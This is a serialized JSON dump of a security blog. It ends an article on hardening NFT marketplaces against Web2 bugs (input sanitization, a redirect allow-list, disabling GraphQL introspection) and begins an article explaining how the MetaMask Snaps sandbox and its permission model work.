nftCollectionName;\n",[33394],{"type":20,"tag":119,"props":33395,"children":33396},{"__ignoreMap":7},[33397],{"type":20,"tag":315,"props":33398,"children":33399},{"class":317,"line":318},[33400,33404,33408,33413,33417,33422,33426,33430,33434,33439],{"type":20,"tag":315,"props":33401,"children":33402},{"style":635},[33403],{"type":26,"value":31121},{"type":20,"tag":315,"props":33405,"children":33406},{"style":328},[33407],{"type":26,"value":61},{"type":20,"tag":315,"props":33409,"children":33410},{"style":345},[33411],{"type":26,"value":33412},"getElementById",{"type":20,"tag":315,"props":33414,"children":33415},{"style":328},[33416],{"type":26,"value":1049},{"type":20,"tag":315,"props":33418,"children":33419},{"style":2652},[33420],{"type":26,"value":33421},"'nftCollectionName'",{"type":20,"tag":315,"props":33423,"children":33424},{"style":328},[33425],{"type":26,"value":19146},{"type":20,"tag":315,"props":33427,"children":33428},{"style":635},[33429],{"type":26,"value":33379},{"type":20,"tag":315,"props":33431,"children":33432},{"style":334},[33433],{"type":26,"value":1395},{"type":20,"tag":315,"props":33435,"children":33436},{"style":635},[33437],{"type":26,"value":33438}," nftCollectionName",{"type":20,"tag":315,"props":33440,"children":33441},{"style":328},[33442],{"type":26,"value":1405},{"type":20,"tag":29,"props":33444,"children":33445},{},[33446],{"type":26,"value":33447},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":20,"tag":305,"props":33449,"children":33451},{"className":29779,"code":33450,"language":29781,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[33452],{"type":20,"tag":119,"props":33453,"children":33454},{"__ignoreMap":7},[33455],{"type":20,"tag":315,"props":33456,"children":33457},{"class":317,"line":318},[33458,33463,33468,33472,33477,33481,33486,33490,33495],{"type":20,"tag":315,"props":33459,"children":33460},{"style":541},[33461],{"type":26,"value":33462},"var",{"type":20,"tag":315,"props":33464,"children":33465},{"style":635},[33466],{"type":26,"value":33467}," sanitizedInput",{"type":20,"tag":315,"props":33469,"children":33470},{"style":334},[33471],{"type":26,"value":1395},{"type":20,"tag":315,"props":33473,"children":33474},{"style":635},[33475],{"type":26,"value":33476}," DOMPurify",{"type":20,"tag":315,"props":33478,"children":33479},{"style":328},[33480],{"type":26,"value":61},{"type":20,"tag":315,"props":33482,"children":33483},{"style":345},[33484],{"type":26,"value":33485},"sanitize",{"type":20,"tag":315,"props":33487,"children":33488},{"style":328},[33489],{"type":26,"value":1049},{"type":20,"tag":315,"props":33491,"children":33492},{"style":635},[33493],{"type":26,"value":33494},"userInput",{"type":20,"tag":315,"props":33496,"children":33497},{"style":328},[33498],{"type":26,"value":2214},{"type":20,"tag":29,"props":33500,"children":33501},{},[33502,33504,33511],{"type":26,"value":33503},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":20,"tag":35,"props":33505,"children":33508},{"href":33506,"rel":33507},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[39],[33509],{"type":26,"value":33510},"Content-Security-Policy",{"type":26,"value":33512}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":20,"tag":29,"props":33514,"children":33515},{},[33516],{"type":26,"value":33517},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":20,"tag":29,"props":33519,"children":33520},{},[33521,33523,33530],{"type":26,"value":33522},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":20,"tag":35,"props":33524,"children":33527},{"href":33525,"rel":33526},"https://www.techtarget.com/whatis/definition/whitelist",[39],[33528],{"type":26,"value":33529},"allow-list",{"type":26,"value":33531}," :",{"type":20,"tag":305,"props":33533,"children":33535},{"className":29779,"code":33534,"language":29781,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[33536],{"type":20,"tag":119,"props":33537,"children":33538},{"__ignoreMap":7},[33539,33568,33610,33640],{"type":20,"tag":315,"props":33540,"children":33541},{"class":317,"line":318},[33542,33546,33551,33555,33559,33564],{"type":20,"tag":315,"props":33543,"children":33544},{"style":541},[33545],{"type":26,"value":8054},{"type":20,"tag":315,"props":33547,"children":33548},{"style":635},[33549],{"type":26,"value":33550}," allowDomains",{"type":20,"tag":315,"props":33552,"children":33553},{"style":334},[33554],{"type":26,"value":1395},{"type":20,"tag":315,"props":33556,"children":33557},{"style":328},[33558],{"type":26,"value":21437},{"type":20,"tag":315,"props":33560,"children":33561},{"style":2652},[33562],{"type":26,"value":33563},"'https://allowed-domain'",{"type":20,"tag":315,"props":33565,"children":33566},{"style":328},[33567],{"type":26,"value":29989},{"type":20,"tag":315,"props":33569,"children":33570},{"class":317,"line":356},[33571,33575,33579,33583,33588,33592,33597,33601,33605],{"type":20,"tag":315,"props":33572,"children":33573},{"style":525},[33574],{"type":26,"value":528},{"type":20,"tag":315,"props":33576,"children":33577},{"style":328},[33578],{"type":26,"value":463},{"type":20,"tag":315,"props":33580,"children":33581},{"style":334},[33582],{"type":26,"value":19025},{"type":20,"tag":315,"props":33584,"children":33585},{"style":635},[33586],{"type":26,"value":33587},"allowDomains",{"type":20,"tag":315,"props":33589,"children":33590},{"style":328},[33591],{"type":26,"value":61},{"type":20,"tag":315,"props":33593,"children":33594},{"style":345},[33595],{"type":26,"value":33596},"includes",{"type":20,"tag":315,"props":33598,"children":33599},{"style":328},[33600],{"type":26,"value":1049},{"type":20,"tag":315,"props":33602,"children":33603},{"style":635},[33604],{"type":26,"value":31131},{"type":20,"tag":315,"props":33606,"children":33607},{"style":328},[33608],{"type":26,"value":33609},")) {\n",{"type":20,"tag":315,"props":33611,"children":33612},{"class":317,"line":365},[33613,33618,33622,33627,33631,33636],{"type":20,"tag":315,"props":33614,"children":33615},{"style":525},[33616],{"type":26,"value":33617}," throw",{"type":20,"tag":315,"props":33619,"children":33620},{"style":541},[33621],{"type":26,"value":30348},{"type":20,"tag":315,"props":33623,"children":33624},{"style":345},[33625],{"type":26,"value":33626}," ApolloError",{"type":20,"tag":315,"props":33628,"children":33629},{"style":328},[33630],{"type":26,"value":1049},{"type":20,"tag":315,"props":33632,"children":33633},{"style":2652},[33634],{"type":26,"value":33635},"'invalid domain'",{"type":20,"tag":315,"props":33637,"children":33638},{"style":328},[33639],{"type":26,"value":2214},{"type":20,"tag":315,"props":33641,"children":33642},{"class":317,"line":374},[33643],{"type":20,"tag":315,"props":33644,"children":33645},{"style":328},[33646],{"type":26,"value":577},{"type":20,"tag":29,"props":33648,"children":33649},{},[33650,33652,33659,33661,33668],{"type":26,"value":33651},"As ",{"type":20,"tag":35,"props":33653,"children":33656},{"href":33654,"rel":33655},"https://graphql.org/",[39],[33657],{"type":26,"value":33658},"GraphQl",{"type":26,"value":33660}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":20,"tag":35,"props":33662,"children":33665},{"href":33663,"rel":33664},"https://graphql.org/learn/introspection/",[39],[33666],{"type":26,"value":33667},"introspection",{"type":26,"value":33669}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":20,"tag":305,"props":33671,"children":33673},{"className":29779,"code":33672,"language":29781,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[33674],{"type":20,"tag":119,"props":33675,"children":33676},{"__ignoreMap":7},[33677,33706,33718,33730,33746],{"type":20,"tag":315,"props":33678,"children":33679},{"class":317,"line":318},[33680,33684,33689,33693,33697,33702],{"type":20,"tag":315,"props":33681,"children":33682},{"style":541},[33683],{"type":26,"value":8054},{"type":20,"tag":315,"props":33685,"children":33686},{"style":635},[33687],{"type":26,"value":33688}," server",{"type":20,"tag":315,"props":33690,"children":33691},{"style":334},[33692],{"type":26,"value":1395},{"type":20,"tag":315,"props":33694,"children":33695},{"style":541},[33696],{"type":26,"value":30348},{"type":20,"tag":315,"props":33698,"children":33699},{"style":345},[33700],{"type":26,"value":33701}," ApolloServer",{"type":20,"tag":315,"props":33703,"children":33704},{"style":328},[33705],{"type":26,"value":13541},{"type":20,"tag":315,"props":33707,"children":33708},{"class":317,"line":356},[33709,33714],{"type":20,"tag":315,"props":33710,"children":33711},{"style":635},[33712],{"type":26,"value":33713}," typeDefs",{"type":20,"tag":315,"props":33715,"children":33716},{"style":328},[33717],{"type":26,"value":643},{"type":20,"tag":315,"props":33719,"children":33720},{"class":317,"line":365},[33721,33726],{"type":20,"tag":315,"props":33722,"children":33723},{"style":635},[33724],{"type":26,"value":33725}," resolvers",{"type":20,"tag":315,"props":33727,"children":33728},{"style":328},[33729],{"type":26,"value":643},{"type":20,"tag":315,"props":33731,"children":33732},{"class":317,"line":374},[33733,33738,33742],{"type":20,"tag":315,"props":33734,"children":33735},{"style":635},[33736],{"type":26,"value":33737}," introspection:",{"type":20,"tag":315,"props":33739,"children":33740},{"style":541},[33741],{"type":26,"value":7455},{"type":20,"tag":315,"props":33743,"children":33744},{"style":328},[33745],{"type":26,"value":643},{"type":20,"tag":315,"props":33747,"children":33748},{"class":317,"line":383},[33749],{"type":20,"tag":315,"props":33750,"children":33751},{"style":328},[33752],{"type":26,"value":33753},"});\n",{"type":20,"tag":29,"props":33755,"children":33756},{},[33757,33759,33766,33768,33775],{"type":26,"value":33758},"Similarly, when ",{"type":20,"tag":35,"props":33760,"children":33763},{"href":33761,"rel":33762},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[39],[33764],{"type":26,"value":33765},"batching",{"type":26,"value":33767}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":20,"tag":35,"props":33769,"children":33772},{"href":33770,"rel":33771},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[39],[33773],{"type":26,"value":33774},"denial-of-service",{"type":26,"value":33776}," (DoS) attacks.",{"type":20,"tag":29,"props":33778,"children":33779},{},[33780],{"type":26,"value":33781},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":20,"tag":29,"props":33783,"children":33784},{},[33785],{"type":26,"value":33786},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":20,"tag":33788,"props":33789,"children":33790},"h1",{"id":1211},[33791],{"type":26,"value":1214},{"type":20,"tag":29,"props":33793,"children":33794},{},[33795],{"type":26,"value":33796},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":20,"tag":29,"props":33798,"children":33799},{},[33800],{"type":26,"value":33801},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":20,"tag":21,"props":33803,"children":33805},{"id":33804},"disclaimer",[33806],{"type":26,"value":33807},"Disclaimer",{"type":20,"tag":29,"props":33809,"children":33810},{},[33811],{"type":26,"value":33812},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":20,"tag":1226,"props":33814,"children":33815},{},[33816],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":33818},[33819,33822,33828,33832,33833],{"id":23,"depth":356,"text":27,"children":33820},[33821],{"id":1297,"depth":365,"text":1300},{"id":29623,"depth":356,"text":29653,"children":33823},[33824,33825,33826,33827],{"id":29672,"depth":365,"text":29675},{"id":29737,"depth":365,"text":29740},{"id":32566,"depth":365,"text":32569},{"id":32856,"depth":365,"text":32859},{"id":33201,"depth":356,"text":33204,"children":33829},[33830,33831],{"id":33223,"depth":365,"text":33226},{"id":33273,"depth":365,"text":33276},{"id":33357,"depth":356,"text":33363},{"id":33804,"depth":356,"text":33807},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":33838,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33839,"description":33840,"author":33841,"image":33842,"date":33844,"isFeatured":15,"onBlogPage":15,"body":33845,"_type":1242,"_id":38861,"_source":1244,"_file":38862,"_stem":38863,"_extension":1247},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[29617,29616],{"src":33843,"height":12023,"width":12024},"/posts/metamask-snaps/header.png","2023-11-01",{"type":17,"children":33846,"toc":38842},[33847,33851,33856,33861,33866,33872,33877,33883,33896,33901,33906,33913,33945,33951,33956,33974,33981,33987,34001,34007,34027,34291,34319,34325,34344,34730,34749,34762,35080,35101,35372,35377,35383,35388,35401,35406,35419,35678,35722,35735,35741,35755,35761,35767,35780,35817,35823,35843,35954,35981,35987,36005,36018,36024,36029,36047,36158,36163,36184,36197,36214,36314,36340,36357,36479,36505,36517,36522,36528,36534,36539,36562,36567,36572,36578,36584,36611,37014,37041,37068,37074,37105,37414,37433,37438,37463,37476,37482,37509,37804,37840,37858,37863,37898,37903,37907,37912,37919,37924,37951,38728,38748,38754,38775,38824,38828,38833,38838],{"type":20,"tag":21,"props":33848,"children":33849},{"id":17360},[33850],{"type":26,"value":17363},{"type":20,"tag":29,"props":33852,"children":33853},{},[33854],{"type":26,"value":33855},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":20,"tag":29,"props":33857,"children":33858},{},[33859],{"type":26,"value":33860},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":20,"tag":29,"props":33862,"children":33863},{},[33864],{"type":26,"value":33865},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":20,"tag":21,"props":33867,"children":33869},{"id":33868},"sandbox-security",[33870],{"type":26,"value":33871},"Sandbox Security",{"type":20,"tag":29,"props":33873,"children":33874},{},[33875],{"type":26,"value":33876},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":20,"tag":219,"props":33878,"children":33880},{"id":33879},"permission-based-security",[33881],{"type":26,"value":33882},"Permission-based security",{"type":20,"tag":29,"props":33884,"children":33885},{},[33886,33888,33894],{"type":26,"value":33887},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":20,"tag":119,"props":33889,"children":33891},{"className":33890},[],[33892],{"type":26,"value":33893},"snap.manifest.json",{"type":26,"value":33895}," file and can be critical to security.",{"type":20,"tag":29,"props":33897,"children":33898},{},[33899],{"type":26,"value":33900},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":20,"tag":29,"props":33902,"children":33903},{},[33904],{"type":26,"value":33905},"Here are the critical permissions possible to be given to a snap:",{"type":20,"tag":29,"props":33907,"children":33908},{},[33909],{"type":20,"tag":2308,"props":33910,"children":33912},{"alt":7,"src":33911},"/posts/metamask-snaps/permissions.png",[],{"type":20,"tag":15089,"props":33914,"children":33915},{},[33916,33934],{"type":20,"tag":72,"props":33917,"children":33918},{},[33919,33925,33926,33932],{"type":20,"tag":119,"props":33920,"children":33922},{"className":33921},[],[33923],{"type":26,"value":33924},"snap_getBip44Entropy",{"type":26,"value":9392},{"type":20,"tag":119,"props":33927,"children":33929},{"className":33928},[],[33930],{"type":26,"value":33931},"snap_getBip32Entropy",{"type":26,"value":33933}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":20,"tag":72,"props":33935,"children":33936},{},[33937,33943],{"type":20,"tag":119,"props":33938,"children":33940},{"className":33939},[],[33941],{"type":26,"value":33942},"endowment:transaction-insight",{"type":26,"value":33944}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":20,"tag":219,"props":33946,"children":33948},{"id":33947},"snap-execution-environment",[33949],{"type":26,"value":33950},"Snap execution environment",{"type":20,"tag":29,"props":33952,"children":33953},{},[33954],{"type":26,"value":33955},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":20,"tag":68,"props":33957,"children":33958},{},[33959,33964,33969],{"type":20,"tag":72,"props":33960,"children":33961},{},[33962],{"type":26,"value":33963},"An isolated iframe",{"type":20,"tag":72,"props":33965,"children":33966},{},[33967],{"type":26,"value":33968},"LavaMoat",{"type":20,"tag":72,"props":33970,"children":33971},{},[33972],{"type":26,"value":33973},"SES (Secure EcmaScript)",{"type":20,"tag":29,"props":33975,"children":33976},{},[33977],{"type":20,"tag":2308,"props":33978,"children":33980},{"alt":7,"src":33979},"/posts/metamask-snaps/environment.png",[],{"type":20,"tag":219,"props":33982,"children":33984},{"id":33983},"isolated-iframe-layer-1",[33985],{"type":26,"value":33986},"Isolated Iframe - Layer 1",{"type":20,"tag":29,"props":33988,"children":33989},{},[33990,33992,33999],{"type":26,"value":33991},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":20,"tag":35,"props":33993,"children":33996},{"href":33994,"rel":33995},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[39],[33997],{"type":26,"value":33998},"Iframe",{"type":26,"value":34000}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":20,"tag":17297,"props":34002,"children":34004},{"id":34003},"the-framework-metamask-extension-repo",[34005],{"type":26,"value":34006},"The Framework: Metamask-Extension Repo",{"type":20,"tag":29,"props":34008,"children":34009},{},[34010,34012,34018,34020,34026],{"type":26,"value":34011},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":20,"tag":119,"props":34013,"children":34015},{"className":34014},[],[34016],{"type":26,"value":34017},"metamask-controller.js",{"type":26,"value":34019}," file. Here's a glimpse of the relevant ",{"type":20,"tag":35,"props":34021,"children":34024},{"href":34022,"rel":34023},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[39],[34025],{"type":26,"value":119},{"type":26,"value":2884},{"type":20,"tag":305,"props":34028,"children":34032},{"className":34029,"code":34030,"language":34031,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[34033],{"type":20,"tag":119,"props":34034,"children":34035},{"__ignoreMap":7},[34036,34044,34052,34072,34120,34155,34172,34180,34222,34229,34236,34244,34272,34284],{"type":20,"tag":315,"props":34037,"children":34038},{"class":317,"line":318},[34039],{"type":20,"tag":315,"props":34040,"children":34041},{"style":1071},[34042],{"type":26,"value":34043},"// Import snaps-controllers\n",{"type":20,"tag":315,"props":34045,"children":34046},{"class":317,"line":356},[34047],{"type":20,"tag":315,"props":34048,"children":34049},{"style":1071},[34050],{"type":26,"value":34051},"// ...\n",{"type":20,"tag":315,"props":34053,"children":34054},{"class":317,"line":365},[34055,34059,34064,34068],{"type":20,"tag":315,"props":34056,"children":34057},{"style":541},[34058],{"type":26,"value":8054},{"type":20,"tag":315,"props":34060,"children":34061},{"style":635},[34062],{"type":26,"value":34063}," snapExecutionServiceArgs",{"type":20,"tag":315,"props":34065,"children":34066},{"style":334},[34067],{"type":26,"value":1395},{"type":20,"tag":315,"props":34069,"children":34070},{"style":328},[34071],{"type":26,"value":1092},{"type":20,"tag":315,"props":34073,"children":34074},{"class":317,"line":374},[34075,34080,34084,34089,34093,34098,34102,34107,34111,34116],{"type":20,"tag":315,"props":34076,"children":34077},{"style":635},[34078],{"type":26,"value":34079}," iframeUrl:",{"type":20,"tag":315,"props":34081,"children":34082},{"style":541},[34083],{"type":26,"value":30348},{"type":20,"tag":315,"props":34085,"children":34086},{"style":345},[34087],{"type":26,"value":34088}," URL",{"type":20,"tag":315,"props":34090,"children":34091},{"style":328},[34092],{"type":26,"value":1049},{"type":20,"tag":315,"props":34094,"children":34095},{"style":635},[34096],{"type":26,"value":34097},"process",{"type":20,"tag":315,"props":34099,"children":34100},{"style":328},[34101],{"type":26,"value":61},{"type":20,"tag":315,"props":34103,"children":34104},{"style":635},[34105],{"type":26,"value":34106},"env",{"type":20,"tag":315,"props":34108,"children":34109},{"style":328},[34110],{"type":26,"value":61},{"type":20,"tag":315,"props":34112,"children":34113},{"style":635},[34114],{"type":26,"value":34115},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":20,"tag":315,"props":34117,"children":34118},{"style":328},[34119],{"type":26,"value":5131},{"type":20,"tag":315,"props":34121,"children":34122},{"class":317,"line":383},[34123,34128,34133,34137,34142,34146,34151],{"type":20,"tag":315,"props":34124,"children":34125},{"style":635},[34126],{"type":26,"value":34127}," messenger:",{"type":20,"tag":315,"props":34129,"children":34130},{"style":541},[34131],{"type":26,"value":34132}," this",{"type":20,"tag":315,"props":34134,"children":34135},{"style":328},[34136],{"type":26,"value":61},{"type":20,"tag":315,"props":34138,"children":34139},{"style":635},[34140],{"type":26,"value":34141},"controllerMessenger",{"type":20,"tag":315,"props":34143,"children":34144},{"style":328},[34145],{"type":26,"value":61},{"type":20,"tag":315,"props":34147,"children":34148},{"style":345},[34149],{"type":26,"value":34150},"getRestricted",{"type":20,"tag":315,"props":34152,"children":34153},{"style":328},[34154],{"type":26,"value":13541},{"type":20,"tag":315,"props":34156,"children":34157},{"class":317,"line":407},[34158,34163,34168],{"type":20,"tag":315,"props":34159,"children":34160},{"style":635},[34161],{"type":26,"value":34162}," name:",{"type":20,"tag":315,"props":34164,"children":34165},{"style":2652},[34166],{"type":26,"value":34167}," 'ExecutionService'",{"type":20,"tag":315,"props":34169,"children":34170},{"style":328},[34171],{"type":26,"value":643},{"type":20,"tag":315,"props":34173,"children":34174},{"class":317,"line":421},[34175],{"type":20,"tag":315,"props":34176,"children":34177},{"style":328},[34178],{"type":26,"value":34179}," }),\n",{"type":20,"tag":315,"props":34181,"children":34182},{"class":317,"line":430},[34183,34188,34192,34196,34201,34205,34210,34214,34218],{"type":20,"tag":315,"props":34184,"children":34185},{"style":635},[34186],{"type":26,"value":34187}," setupSnapProvider:",{"type":20,"tag":315,"props":34189,"children":34190},{"style":541},[34191],{"type":26,"value":34132},{"type":20,"tag":315,"props":34193,"children":34194},{"style":328},[34195],{"type":26,"value":61},{"type":20,"tag":315,"props":34197,"children":34198},{"style":635},[34199],{"type":26,"value":34200},"setupSnapProvider",{"type":20,"tag":315,"props":34202,"children":34203},{"style":328},[34204],{"type":26,"value":61},{"type":20,"tag":315,"props":34206,"children":34207},{"style":345},[34208],{"type":26,"value":34209},"bind",{"type":20,"tag":315,"props":34211,"children":34212},{"style":328},[34213],{"type":26,"value":1049},{"type":20,"tag":315,"props":34215,"children":34216},{"style":541},[34217],{"type":26,"value":16095},{"type":20,"tag":315,"props":34219,"children":34220},{"style":328},[34221],{"type":26,"value":5131},{"type":20,"tag":315,"props":34223,"children":34224},{"class":317,"line":453},[34225],{"type":20,"tag":315,"props":34226,"children":34227},{"style":328},[34228],{"type":26,"value":14979},{"type":20,"tag":315,"props":34230,"children":34231},{"class":317,"line":486},[34232],{"type":20,"tag":315,"props":34233,"children":34234},{"emptyLinePlaceholder":15},[34235],{"type":26,"value":427},{"type":20,"tag":315,"props":34237,"children":34238},{"class":317,"line":499},[34239],{"type":20,"tag":315,"props":34240,"children":34241},{"style":1071},[34242],{"type":26,"value":34243},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":20,"tag":315,"props":34245,"children":34246},{"class":317,"line":513},[34247,34251,34255,34259,34263,34267],{"type":20,"tag":315,"props":34248,"children":34249},{"style":635},[34250],{"type":26,"value":34097},{"type":20,"tag":315,"props":34252,"children":34253},{"style":328},[34254],{"type":26,"value":61},{"type":20,"tag":315,"props":34256,"children":34257},{"style":635},[34258],{"type":26,"value":34106},{"type":20,"tag":315,"props":34260,"children":34261},{"style":328},[34262],{"type":26,"value":61},{"type":20,"tag":315,"props":34264,"children":34265},{"style":635},[34266],{"type":26,"value":34115},{"type":20,"tag":315,"props":34268,"children":34269},{"style":334},[34270],{"type":26,"value":34271}," =\n",{"type":20,"tag":315,"props":34273,"children":34274},{"class":317,"line":521},[34275,34280],{"type":20,"tag":315,"props":34276,"children":34277},{"style":2652},[34278],{"type":26,"value":34279}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":20,"tag":315,"props":34281,"children":34282},{"style":328},[34283],{"type":26,"value":1405},{"type":20,"tag":315,"props":34285,"children":34286},{"class":317,"line":552},[34287],{"type":20,"tag":315,"props":34288,"children":34289},{"style":1071},[34290],{"type":26,"value":34051},{"type":20,"tag":29,"props":34292,"children":34293},{},[34294,34296,34302,34304,34310,34312,34317],{"type":26,"value":34295},"This code is defining the ",{"type":20,"tag":119,"props":34297,"children":34299},{"className":34298},[],[34300],{"type":26,"value":34301},"snapExecutionServiceArgs",{"type":26,"value":34303}," object, which contains information required for the ",{"type":20,"tag":119,"props":34305,"children":34307},{"className":34306},[],[34308],{"type":26,"value":34309},"IframeExecutionService",{"type":26,"value":34311}," to execute snaps. The ",{"type":20,"tag":119,"props":34313,"children":34315},{"className":34314},[],[34316],{"type":26,"value":34115},{"type":26,"value":34318}," points to the location where the execution environment resides.",{"type":20,"tag":17297,"props":34320,"children":34322},{"id":34321},"executing-snaps-iframeexecutionservice-in-action",[34323],{"type":26,"value":34324},"Executing Snaps: IframeExecutionService in Action",{"type":20,"tag":29,"props":34326,"children":34327},{},[34328,34330,34335,34337,34343],{"type":26,"value":34329},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":20,"tag":119,"props":34331,"children":34333},{"className":34332},[],[34334],{"type":26,"value":34309},{"type":26,"value":34336}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":20,"tag":35,"props":34338,"children":34341},{"href":34339,"rel":34340},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[39],[34342],{"type":26,"value":119},{"type":26,"value":2884},{"type":20,"tag":305,"props":34345,"children":34349},{"className":34346,"code":34347,"language":34348,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[34350],{"type":20,"tag":119,"props":34351,"children":34352},{"__ignoreMap":7},[34353,34361,34390,34420,34473,34510,34517,34524,34532,34539,34546,34554,34589,34597,34653,34715,34723],{"type":20,"tag":315,"props":34354,"children":34355},{"class":317,"line":318},[34356],{"type":20,"tag":315,"props":34357,"children":34358},{"style":1071},[34359],{"type":26,"value":34360},"// Register message handlers for snap interactions\n",{"type":20,"tag":315,"props":34362,"children":34363},{"class":317,"line":356},[34364,34368,34372,34377,34381,34386],{"type":20,"tag":315,"props":34365,"children":34366},{"style":541},[34367],{"type":26,"value":16095},{"type":20,"tag":315,"props":34369,"children":34370},{"style":328},[34371],{"type":26,"value":61},{"type":20,"tag":315,"props":34373,"children":34374},{"style":635},[34375],{"type":26,"value":34376},"#messenger",{"type":20,"tag":315,"props":34378,"children":34379},{"style":328},[34380],{"type":26,"value":61},{"type":20,"tag":315,"props":34382,"children":34383},{"style":345},[34384],{"type":26,"value":34385},"registerActionHandler",{"type":20,"tag":315,"props":34387,"children":34388},{"style":328},[34389],{"type":26,"value":353},{"type":20,"tag":315,"props":34391,"children":34392},{"class":317,"line":365},[34393,34398,34402,34407,34411,34416],{"type":20,"tag":315,"props":34394,"children":34395},{"style":2652},[34396],{"type":26,"value":34397}," 